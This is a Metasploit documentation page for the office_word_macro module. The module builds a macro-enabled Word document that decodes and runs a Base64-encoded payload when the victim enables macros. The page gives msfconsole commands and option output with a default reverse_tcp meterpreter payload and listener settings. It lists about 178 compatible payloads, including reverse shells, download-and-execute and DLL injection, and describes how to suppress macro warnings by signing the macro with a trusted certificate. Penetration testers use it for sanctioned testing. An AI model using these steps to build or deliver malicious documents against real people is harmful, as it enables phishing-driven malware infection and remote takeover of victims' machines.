Microsoft Office Word Malicious Macro Execution - Metasploit
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Module Overview
Name: Microsoft Office Word Malicious Macro Execution
Module: exploit/multi/fileformat/office_word_macro
Source code: modules/exploits/multi/fileformat/office_word_macro.rb
Disclosure date: 2012-01-10
Last modification time: 2022-03-10 18:03:35 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): -
List of CVEs: -
This module injects a malicious macro into a Microsoft Office Word document (docx). The comments field in the metadata is injected with a Base64 encoded payload, which will be decoded by the macro and execute as a Windows executable. For a successful attack, the victim is required to manually enable macro execution.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
msf > use exploit/multi/fileformat/office_word_macro
msf exploit(office_word_macro) > show targets
... a list of targets ...
msf exploit(office_word_macro) > set TARGET target-id
msf exploit(office_word_macro) > show options
... show and set options ...
msf exploit(office_word_macro) > exploit
Knowledge Base
Description
This module generates a macro-enabled Microsoft Office Word document (docm). It does not target a specific CVE or vulnerability, instead it's more of a feature-abuse in Office, and yet it's still a popular type of social-engineering attack such as in ransomware.
By default, the module uses a built-in Office document (docx) as the template. It injects the Base64-encoded payload into the comments field, which will get decoded back by the macro and executed as a Windows executable when the Office document is launched.
If you do not wish to use the built-in docx template, you can also choose your own. Please see more details below.
Vulnerable Application
A Windows or OSX machine with Microsoft Office installed. The Office application must support the docm format.
Specifically, this module was tested specifically against:
- Microsoft Office 2010.
- Microsoft Office 2013.
- Microsoft Office 2016.
- Microsoft Office Word 15.29.1 (161215).
Building the Office Document Template
It is recommended that you build your Office document (docx) template from either one of these applications:
- Google Docs
- Microsoft Office Word
Google Docs
Google Docs is ideal in case you don't have Microsoft Office available.
Before you start, make sure you have a Gmail account.
Next, to create a new document, please go to the following:
https://docs.google.com/document/?usp=mkt_docs
To save the document as a docx on Google docs:
- Click on File
- Go to Download as
- Click on Microsoft Word (.docx)
Microsoft Office Word
If you already have Microsoft Office, you can use it to create a docx file and use it as a template.
Verification Steps
To use the default template
use exploit/multi/fileformat/office_word_macroset PAYLOAD [PAYLOAD NAME]- Configure the rest of the settings accordingly (LHOST, LPORT, etc)
exploit- The module should generate the malicious docm.
To use the custom template
use exploit/multi/fileformat/office_word_macroset PAYLOAD [PAYLOAD NAME]set CUSTOMTEMPLATE [DOCX PATH]- Configure the rest of the settings accordingly
exploit- The module should generate the malicious docm.
Options
CUSTOMTEMPLATE
A docx file that will be used as a template to build the exploit.
Trusted Document
By default, Microsoft Office does not execute macros automatically unless it is considered as a trusted document. This means that if a macro is present, the user will most likely need to manually click on the "Enable Content" or "Enable Macro" button in order to run the macro.
Many in-the-wild attacks face this type of challenge, and most rely on social-engineering to trick the user into allowing the macro to run. For example, making the document look like something written from a legit source, such as this attack.
To truly make the macro document run without any warnings, you must somehow figure out a way to sign the macro by a trusted publisher, or using a certificate that the targeted machine trusts.
If money is not an issue, you can easily buy a certificate on-line: https://www.sslshopper.com/microsoft-vba-code-signing-certificates.html
For testing purposes, another way to have a certificate is to create a self-signed one using Microsoft Office's SELFCERT.exe utility. This tool can be found in the following path on Windows:
C:\Program Files\Microsoft Office\root\Office16\SELFCERT.exe
In Office 2010, the self-signing tool is actually an option in the Office tools folder in the start menu. It should be named "Digital Certificate for VBA Projects".
Double-click on the executable, enter a random name and click "OK", at this point you have a certificate to play with.
Next, we want to flag this certificate as trusted:
- Click on Start, and then enter "Internet Options".
- Click on the Content tab, and then click on the Certificates button.
- You should see your new certificate under the Personal tab, export it.
- Click on the Trusted Publishers, and then import your personal certificate.
- Try the macro exploit again, it should run the malicious code without warning.
Go back to menu.
Msfconsole Usage
Here is how the multi/fileformat/office_word_macro exploit module looks in the msfconsole:
msf6 > use exploit/multi/fileformat/office_word_macro
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(multi/fileformat/office_word_macro) > show info
Name: Microsoft Office Word Malicious Macro Execution
Module: exploit/multi/fileformat/office_word_macro
Platform:
Arch:
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2012-01-10
Provided by:
sinn3r <[email protected]>
Available targets:
Id Name
-- ----
0 Microsoft Office Word on Windows
1 Microsoft Office Word on Mac OS X (Python)
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
CUSTOMTEMPLATE no A docx file that will be used as a template to build the exploit
FILENAME msf.docm yes The Office document macro file (docm)
Payload information:
Description:
This module injects a malicious macro into a Microsoft Office Word
document (docx). The comments field in the metadata is injected with
a Base64 encoded payload, which will be decoded by the macro and
execute as a Windows executable. For a successful attack, the victim
is required to manually enable macro execution.
References:
https://en.wikipedia.org/wiki/Macro_virus
Module Options
This is a complete list of options available in the multi/fileformat/office_word_macro exploit:
msf6 exploit(multi/fileformat/office_word_macro) > show options
Module options (exploit/multi/fileformat/office_word_macro):
Name Current Setting Required Description
---- --------------- -------- -----------
CUSTOMTEMPLATE no A docx file that will be used as a template to build the exploit
FILENAME msf.docm yes The Office document macro file (docm)
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
**DisablePayloadHandler: True (no handler will be created!)**
Exploit target:
Id Name
-- ----
0 Microsoft Office Word on Windows
Advanced Options
Here is a complete list of advanced options supported by the multi/fileformat/office_word_macro exploit:
msf6 exploit(multi/fileformat/office_word_macro) > show advanced
Module advanced options (exploit/multi/fileformat/office_word_macro):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DisablePayloadHandler true no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
PayloadBindPort no Port to bind reverse tcp socket to on target system.
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
PrependMigrate false yes Spawns and runs shellcode in new process
PrependMigrateProc no Process to spawn and run shellcode in
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the multi/fileformat/office_word_macro module can exploit:
msf6 exploit(multi/fileformat/office_word_macro) > show targets
Exploit targets:
Id Name
-- ----
0 Microsoft Office Word on Windows
1 Microsoft Office Word on Mac OS X (Python)
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the multi/fileformat/office_word_macro exploit:
msf6 exploit(multi/fileformat/office_word_macro) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/debug_trap normal No Generic x86 Debug Trap
2 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
3 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
4 payload/generic/tight_loop normal No Generic x86 Tight Loop
5 payload/windows/dllinject/bind_hidden_ipknock_tcp normal No Reflective DLL Injection, Hidden Bind Ipknock TCP Stager
6 payload/windows/dllinject/bind_hidden_tcp normal No Reflective DLL Injection, Hidden Bind TCP Stager
7 payload/windows/dllinject/bind_ipv6_tcp normal No Reflective DLL Injection, Bind IPv6 TCP Stager (Windows x86)
8 payload/windows/dllinject/bind_ipv6_tcp_uuid normal No Reflective DLL Injection, Bind IPv6 TCP Stager with UUID Support (Windows x86)
9 payload/windows/dllinject/bind_named_pipe normal No Reflective DLL Injection, Windows x86 Bind Named Pipe Stager
10 payload/windows/dllinject/bind_nonx_tcp normal No Reflective DLL Injection, Bind TCP Stager (No NX or Win7)
11 payload/windows/dllinject/bind_tcp normal No Reflective DLL Injection, Bind TCP Stager (Windows x86)
12 payload/windows/dllinject/bind_tcp_rc4 normal No Reflective DLL Injection, Bind TCP Stager (RC4 Stage Encryption, Metasm)
13 payload/windows/dllinject/bind_tcp_uuid normal No Reflective DLL Injection, Bind TCP Stager with UUID Support (Windows x86)
14 payload/windows/dllinject/reverse_hop_http normal No Reflective DLL Injection, Reverse Hop HTTP/HTTPS Stager
15 payload/windows/dllinject/reverse_http normal No Reflective DLL Injection, Windows Reverse HTTP Stager (wininet)
16 payload/windows/dllinject/reverse_http_proxy_pstore normal No Reflective DLL Injection, Reverse HTTP Stager Proxy
17 payload/windows/dllinject/reverse_ipv6_tcp normal No Reflective DLL Injection, Reverse TCP Stager (IPv6)
18 payload/windows/dllinject/reverse_nonx_tcp normal No Reflective DLL Injection, Reverse TCP Stager (No NX or Win7)
19 payload/windows/dllinject/reverse_ord_tcp normal No Reflective DLL Injection, Reverse Ordinal TCP Stager (No NX or Win7)
20 payload/windows/dllinject/reverse_tcp normal No Reflective DLL Injection, Reverse TCP Stager
21 payload/windows/dllinject/reverse_tcp_allports normal No Reflective DLL Injection, Reverse All-Port TCP Stager
22 payload/windows/dllinject/reverse_tcp_dns normal No Reflective DLL Injection, Reverse TCP Stager (DNS)
23 payload/windows/dllinject/reverse_tcp_rc4 normal No Reflective DLL Injection, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
24 payload/windows/dllinject/reverse_tcp_rc4_dns normal No Reflective DLL Injection, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
25 payload/windows/dllinject/reverse_tcp_uuid normal No Reflective DLL Injection, Reverse TCP Stager with UUID Support
26 payload/windows/dllinject/reverse_winhttp normal No Reflective DLL Injection, Windows Reverse HTTP Stager (winhttp)
27 payload/windows/dns_txt_query_exec normal No DNS TXT Record Payload Download and Execution
28 payload/windows/download_exec normal No Windows Executable Download (http,https,ftp) and Execute
29 payload/windows/exec normal No Windows Execute Command
30 payload/windows/loadlibrary normal No Windows LoadLibrary Path
31 payload/windows/messagebox normal No Windows MessageBox
32 payload/windows/meterpreter/bind_hidden_ipknock_tcp normal No Windows Meterpreter (Reflective Injection), Hidden Bind Ipknock TCP Stager
33 payload/windows/meterpreter/bind_hidden_tcp normal No Windows Meterpreter (Reflective Injection), Hidden Bind TCP Stager
34 payload/windows/meterpreter/bind_ipv6_tcp normal No Windows Meterpreter (Reflective Injection), Bind IPv6 TCP Stager (Windows x86)
35 payload/windows/meterpreter/bind_ipv6_tcp_uuid normal No Windows Meterpreter (Reflective Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86)
36 payload/windows/meterpreter/bind_named_pipe normal No Windows Meterpreter (Reflective Injection), Windows x86 Bind Named Pipe Stager
37 payload/windows/meterpreter/bind_nonx_tcp normal No Windows Meterpreter (Reflective Injection), Bind TCP Stager (No NX or Win7)
38 payload/windows/meterpreter/bind_tcp normal No Windows Meterpreter (Reflective Injection), Bind TCP Stager (Windows x86)
39 payload/windows/meterpreter/bind_tcp_rc4 normal No Windows Meterpreter (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
40 payload/windows/meterpreter/bind_tcp_uuid normal No Windows Meterpreter (Reflective Injection), Bind TCP Stager with UUID Support (Windows x86)
41 payload/windows/meterpreter/reverse_hop_http normal No Windows Meterpreter (Reflective Injection), Reverse Hop HTTP/HTTPS Stager
42 payload/windows/meterpreter/reverse_http normal No Windows Meterpreter (Reflective Injection), Windows Reverse HTTP Stager (wininet)
43 payload/windows/meterpreter/reverse_http_proxy_pstore normal No Windows Meterpreter (Reflective Injection), Reverse HTTP Stager Proxy
44 payload/windows/meterpreter/reverse_https normal No Windows Meterpreter (Reflective Injection), Windows Reverse HTTPS Stager (wininet)
45 payload/windows/meterpreter/reverse_https_proxy normal No Windows Meterpreter (Reflective Injection), Reverse HTTPS Stager with Support for Custom Proxy
46 payload/windows/meterpreter/reverse_ipv6_tcp normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager (IPv6)
47 payload/windows/meterpreter/reverse_named_pipe normal No Windows Meterpreter (Reflective Injection), Windows x86 Reverse Named Pipe (SMB) Stager
48 payload/windows/meterpreter/reverse_nonx_tcp normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager (No NX or Win7)
49 payload/windows/meterpreter/reverse_ord_tcp normal No Windows Meterpreter (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7)
50 payload/windows/meterpreter/reverse_tcp normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager
51 payload/windows/meterpreter/reverse_tcp_allports normal No Windows Meterpreter (Reflective Injection), Reverse All-Port TCP Stager
52 payload/windows/meterpreter/reverse_tcp_dns normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager (DNS)
53 payload/windows/meterpreter/reverse_tcp_rc4 normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
54 payload/windows/meterpreter/reverse_tcp_rc4_dns normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
55 payload/windows/meterpreter/reverse_tcp_uuid normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager with UUID Support
56 payload/windows/meterpreter/reverse_winhttp normal No Windows Meterpreter (Reflective Injection), Windows Reverse HTTP Stager (winhttp)
57 payload/windows/meterpreter/reverse_winhttps normal No Windows Meterpreter (Reflective Injection), Windows Reverse HTTPS Stager (winhttp)
58 payload/windows/meterpreter_bind_named_pipe normal No Windows Meterpreter Shell, Bind Named Pipe Inline
59 payload/windows/meterpreter_bind_tcp normal No Windows Meterpreter Shell, Bind TCP Inline
60 payload/windows/meterpreter_reverse_http normal No Windows Meterpreter Shell, Reverse HTTP Inline
61 payload/windows/meterpreter_reverse_https normal No Windows Meterpreter Shell, Reverse HTTPS Inline
62 payload/windows/meterpreter_reverse_ipv6_tcp normal No Windows Meterpreter Shell, Reverse TCP Inline (IPv6)
63 payload/windows/meterpreter_reverse_tcp normal No Windows Meterpreter Shell, Reverse TCP Inline
64 payload/windows/metsvc_bind_tcp normal No Windows Meterpreter Service, Bind TCP
65 payload/windows/metsvc_reverse_tcp normal No Windows Meterpreter Service, Reverse TCP Inline
66 payload/windows/patchupdllinject/bind_hidden_ipknock_tcp normal No Windows Inject DLL, Hidden Bind Ipknock TCP Stager
67 payload/windows/patchupdllinject/bind_hidden_tcp normal No Windows Inject DLL, Hidden Bind TCP Stager
68 payload/windows/patchupdllinject/bind_ipv6_tcp normal No Windows Inject DLL, Bind IPv6 TCP Stager (Windows x86)
69 payload/windows/patchupdllinject/bind_ipv6_tcp_uuid normal No Windows Inject DLL, Bind IPv6 TCP Stager with UUID Support (Windows x86)
70 payload/windows/patchupdllinject/bind_named_pipe normal No Windows Inject DLL, Windows x86 Bind Named Pipe Stager
71 payload/windows/patchupdllinject/bind_nonx_tcp normal No Windows Inject DLL, Bind TCP Stager (No NX or Win7)
72 payload/windows/patchupdllinject/bind_tcp normal No Windows Inject DLL, Bind TCP Stager (Windows x86)
73 payload/windows/patchupdllinject/bind_tcp_rc4 normal No Windows Inject DLL, Bind TCP Stager (RC4 Stage Encryption, Metasm)
74 payload/windows/patchupdllinject/bind_tcp_uuid normal No Windows Inject DLL, Bind TCP Stager with UUID Support (Windows x86)
75 payload/windows/patchupdllinject/reverse_ipv6_tcp normal No Windows Inject DLL, Reverse TCP Stager (IPv6)
76 payload/windows/patchupdllinject/reverse_nonx_tcp normal No Windows Inject DLL, Reverse TCP Stager (No NX or Win7)
77 payload/windows/patchupdllinject/reverse_ord_tcp normal No Windows Inject DLL, Reverse Ordinal TCP Stager (No NX or Win7)
78 payload/windows/patchupdllinject/reverse_tcp normal No Windows Inject DLL, Reverse TCP Stager
79 payload/windows/patchupdllinject/reverse_tcp_allports normal No Windows Inject DLL, Reverse All-Port TCP Stager
80 payload/windows/patchupdllinject/reverse_tcp_dns normal No Windows Inject DLL, Reverse TCP Stager (DNS)
81 payload/windows/patchupdllinject/reverse_tcp_rc4 normal No Windows Inject DLL, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
82 payload/windows/patchupdllinject/reverse_tcp_rc4_dns normal No Windows Inject DLL, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
83 payload/windows/patchupdllinject/reverse_tcp_uuid normal No Windows Inject DLL, Reverse TCP Stager with UUID Support
84 payload/windows/patchupmeterpreter/bind_hidden_ipknock_tcp normal No Windows Meterpreter (skape/jt Injection), Hidden Bind Ipknock TCP Stager
85 payload/windows/patchupmeterpreter/bind_hidden_tcp normal No Windows Meterpreter (skape/jt Injection), Hidden Bind TCP Stager
86 payload/windows/patchupmeterpreter/bind_ipv6_tcp normal No Windows Meterpreter (skape/jt Injection), Bind IPv6 TCP Stager (Windows x86)
87 payload/windows/patchupmeterpreter/bind_ipv6_tcp_uuid normal No Windows Meterpreter (skape/jt Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86)
88 payload/windows/patchupmeterpreter/bind_named_pipe normal No Windows Meterpreter (skape/jt Injection), Windows x86 Bind Named Pipe Stager
89 payload/windows/patchupmeterpreter/bind_nonx_tcp normal No Windows Meterpreter (skape/jt Injection), Bind TCP Stager (No NX or Win7)
90 payload/windows/patchupmeterpreter/bind_tcp normal No Windows Meterpreter (skape/jt Injection), Bind TCP Stager (Windows x86)
91 payload/windows/patchupmeterpreter/bind_tcp_rc4 normal No Windows Meterpreter (skape/jt Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
92 payload/windows/patchupmeterpreter/bind_tcp_uuid normal No Windows Meterpreter (skape/jt Injection), Bind TCP Stager with UUID Support (Windows x86)
93 payload/windows/patchupmeterpreter/reverse_ipv6_tcp normal No Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (IPv6)
94 payload/windows/patchupmeterpreter/reverse_nonx_tcp normal No Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (No NX or Win7)
95 payload/windows/patchupmeterpreter/reverse_ord_tcp normal No Windows Meterpreter (skape/jt Injection), Reverse Ordinal TCP Stager (No NX or Win7)
96 payload/windows/patchupmeterpreter/reverse_tcp normal No Windows Meterpreter (skape/jt Injection), Reverse TCP Stager
97 payload/windows/patchupmeterpreter/reverse_tcp_allports normal No Windows Meterpreter (skape/jt Injection), Reverse All-Port TCP Stager
98 payload/windows/patchupmeterpreter/reverse_tcp_dns normal No Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (DNS)
99 payload/windows/patchupmeterpreter/reverse_tcp_rc4 normal No Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
100 payload/windows/patchupmeterpreter/reverse_tcp_rc4_dns normal No Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
101 payload/windows/patchupmeterpreter/reverse_tcp_uuid normal No Windows Meterpreter (skape/jt Injection), Reverse TCP Stager with UUID Support
102 payload/windows/peinject/bind_hidden_ipknock_tcp normal No Windows Inject PE Files, Hidden Bind Ipknock TCP Stager
103 payload/windows/peinject/bind_hidden_tcp normal No Windows Inject PE Files, Hidden Bind TCP Stager
104 payload/windows/peinject/bind_ipv6_tcp normal No Windows Inject PE Files, Bind IPv6 TCP Stager (Windows x86)
105 payload/windows/peinject/bind_ipv6_tcp_uuid normal No Windows Inject PE Files, Bind IPv6 TCP Stager with UUID Support (Windows x86)
106 payload/windows/peinject/bind_named_pipe normal No Windows Inject PE Files, Windows x86 Bind Named Pipe Stager
107 payload/windows/peinject/bind_nonx_tcp normal No Windows Inject PE Files, Bind TCP Stager (No NX or Win7)
108 payload/windows/peinject/bind_tcp normal No Windows Inject PE Files, Bind TCP Stager (Windows x86)
109 payload/windows/peinject/bind_tcp_rc4 normal No Windows Inject PE Files, Bind TCP Stager (RC4 Stage Encryption, Metasm)
110 payload/windows/peinject/bind_tcp_uuid normal No Windows Inject PE Files, Bind TCP Stager with UUID Support (Windows x86)
111 payload/windows/peinject/reverse_ipv6_tcp normal No Windows Inject PE Files, Reverse TCP Stager (IPv6)
112 payload/windows/peinject/reverse_named_pipe normal No Windows Inject PE Files, Windows x86 Reverse Named Pipe (SMB) Stager
113 payload/windows/peinject/reverse_nonx_tcp normal No Windows Inject PE Files, Reverse TCP Stager (No NX or Win7)
114 payload/windows/peinject/reverse_ord_tcp normal No Windows Inject PE Files, Reverse Ordinal TCP Stager (No NX or Win7)
115 payload/windows/peinject/reverse_tcp normal No Windows Inject PE Files, Reverse TCP Stager
116 payload/windows/peinject/reverse_tcp_allports normal No Windows Inject PE Files, Reverse All-Port TCP Stager
117 payload/windows/peinject/reverse_tcp_dns normal No Windows Inject PE Files, Reverse TCP Stager (DNS)
118 payload/windows/peinject/reverse_tcp_rc4 normal No Windows Inject PE Files, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
119 payload/windows/peinject/reverse_tcp_rc4_dns normal No Windows Inject PE Files, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
120 payload/windows/peinject/reverse_tcp_uuid normal No Windows Inject PE Files, Reverse TCP Stager with UUID Support
121 payload/windows/pingback_bind_tcp normal No Windows x86 Pingback, Bind TCP Inline
122 payload/windows/pingback_reverse_tcp normal No Windows x86 Pingback, Reverse TCP Inline
123 payload/windows/powershell_bind_tcp normal No Windows Interactive Powershell Session, Bind TCP
124 payload/windows/powershell_reverse_tcp normal No Windows Interactive Powershell Session, Reverse TCP
125 payload/windows/shell/bind_hidden_ipknock_tcp normal No Windows Command Shell, Hidden Bind Ipknock TCP Stager
126 payload/windows/shell/bind_hidden_tcp normal No Windows Command Shell, Hidden Bind TCP Stager
127 payload/windows/shell/bind_ipv6_tcp normal No Windows Command Shell, Bind IPv6 TCP Stager (Windows x86)
128 payload/windows/shell/bind_ipv6_tcp_uuid normal No Windows Command Shell, Bind IPv6 TCP Stager with UUID Support (Windows x86)
129 payload/windows/shell/bind_named_pipe normal No Windows Command Shell, Windows x86 Bind Named Pipe Stager
130 payload/windows/shell/bind_nonx_tcp normal No Windows Command Shell, Bind TCP Stager (No NX or Win7)
131 payload/windows/shell/bind_tcp normal No Windows Command Shell, Bind TCP Stager (Windows x86)
132 payload/windows/shell/bind_tcp_rc4 normal No Windows Command Shell, Bind TCP Stager (RC4 Stage Encryption, Metasm)
133 payload/windows/shell/bind_tcp_uuid normal No Windows Command Shell, Bind TCP Stager with UUID Support (Windows x86)
134 payload/windows/shell/reverse_ipv6_tcp normal No Windows Command Shell, Reverse TCP Stager (IPv6)
135 payload/windows/shell/reverse_nonx_tcp normal No Windows Command Shell, Reverse TCP Stager (No NX or Win7)
136 payload/windows/shell/reverse_ord_tcp normal No Windows Command Shell, Reverse Ordinal TCP Stager (No NX or Win7)
137 payload/windows/shell/reverse_tcp normal No Windows Command Shell, Reverse TCP Stager
138 payload/windows/shell/reverse_tcp_allports normal No Windows Command Shell, Reverse All-Port TCP Stager
139 payload/windows/shell/reverse_tcp_dns normal No Windows Command Shell, Reverse TCP Stager (DNS)
140 payload/windows/shell/reverse_tcp_rc4 normal No Windows Command Shell, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
141 payload/windows/shell/reverse_tcp_rc4_dns normal No Windows Command Shell, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
142 payload/windows/shell/reverse_tcp_uuid normal No Windows Command Shell, Reverse TCP Stager with UUID Support
143 payload/windows/shell/reverse_udp normal No Windows Command Shell, Reverse UDP Stager with UUID Support
144 payload/windows/shell_bind_tcp normal No Windows Command Shell, Bind TCP Inline
145 payload/windows/shell_bind_tcp_xpfw normal No Windows Disable Windows ICF, Command Shell, Bind TCP Inline
146 payload/windows/shell_hidden_bind_tcp normal No Windows Command Shell, Hidden Bind TCP Inline
147 payload/windows/shell_reverse_tcp normal No Windows Command Shell, Reverse TCP Inline
148 payload/windows/speak_pwned normal No Windows Speech API - Say "You Got Pwned!"
149 payload/windows/upexec/bind_hidden_ipknock_tcp normal No Windows Upload/Execute, Hidden Bind Ipknock TCP Stager
150 payload/windows/upexec/bind_hidden_tcp normal No Windows Upload/Execute, Hidden Bind TCP Stager
151 payload/windows/upexec/bind_ipv6_tcp normal No Windows Upload/Execute, Bind IPv6 TCP Stager (Windows x86)
152 payload/windows/upexec/bind_ipv6_tcp_uuid normal No Windows Upload/Execute, Bind IPv6 TCP Stager with UUID Support (Windows x86)
153 payload/windows/upexec/bind_named_pipe normal No Windows Upload/Execute, Windows x86 Bind Named Pipe Stager
154 payload/windows/upexec/bind_nonx_tcp normal No Windows Upload/Execute, Bind TCP Stager (No NX or Win7)
155 payload/windows/upexec/bind_tcp normal No Windows Upload/Execute, Bind TCP Stager (Windows x86)
156 payload/windows/upexec/bind_tcp_rc4 normal No Windows Upload/Execute, Bind TCP Stager (RC4 Stage Encryption, Metasm)
157 payload/windows/upexec/bind_tcp_uuid normal No Windows Upload/Execute, Bind TCP Stager with UUID Support (Windows x86)
158 payload/windows/upexec/reverse_ipv6_tcp normal No Windows Upload/Execute, Reverse TCP Stager (IPv6)
159 payload/windows/upexec/reverse_nonx_tcp normal No Windows Upload/Execute, Reverse TCP Stager (No NX or Win7)
160 payload/windows/upexec/reverse_ord_tcp normal No Windows Upload/Execute, Reverse Ordinal TCP Stager (No NX or Win7)
161 payload/windows/upexec/reverse_tcp normal No Windows Upload/Execute, Reverse TCP Stager
162 payload/windows/upexec/reverse_tcp_allports normal No Windows Upload/Execute, Reverse All-Port TCP Stager
163 payload/windows/upexec/reverse_tcp_dns normal No Windows Upload/Execute, Reverse TCP Stager (DNS)
164 payload/windows/upexec/reverse_tcp_rc4 normal No Windows Upload/Execute, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
165 payload/windows/upexec/reverse_tcp_rc4_dns normal No Windows Upload/Execute, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
166 payload/windows/upexec/reverse_tcp_uuid normal No Windows Upload/Execute, Reverse TCP Stager with UUID Support
167 payload/windows/upexec/reverse_udp normal No Windows Upload/Execute, Reverse UDP Stager with UUID Support
168 payload/windows/vncinject/bind_hidden_ipknock_tcp normal No VNC Server (Reflective Injection), Hidden Bind Ipknock TCP Stager
169 payload/windows/vncinject/bind_hidden_tcp normal No VNC Server (Reflective Injection), Hidden Bind TCP Stager
170 payload/windows/vncinject/bind_ipv6_tcp normal No VNC Server (Reflective Injection), Bind IPv6 TCP Stager (Windows x86)
171 payload/windows/vncinject/bind_ipv6_tcp_uuid normal No VNC Server (Reflective Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86)
172 payload/windows/vncinject/bind_named_pipe normal No VNC Server (Reflective Injection), Windows x86 Bind Named Pipe Stager
173 payload/windows/vncinject/bind_nonx_tcp normal No VNC Server (Reflective Injection), Bind TCP Stager (No NX or Win7)
174 payload/windows/vncinject/bind_tcp normal No VNC Server (Reflective Injection), Bind TCP Stager (Windows x86)
175 payload/windows/vncinject/bind_tcp_rc4 normal No VNC Server (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
176 payload/windows/vncinject/bind_tcp_uuid normal No VNC Server (Reflective Injection), Bind TCP Stager with UUID Support (Windows x86)
177 payload/windows/vncinject/reverse_hop_http normal No VNC Server (Reflective Injection), Reverse Hop HTTP/HTTPS Stager
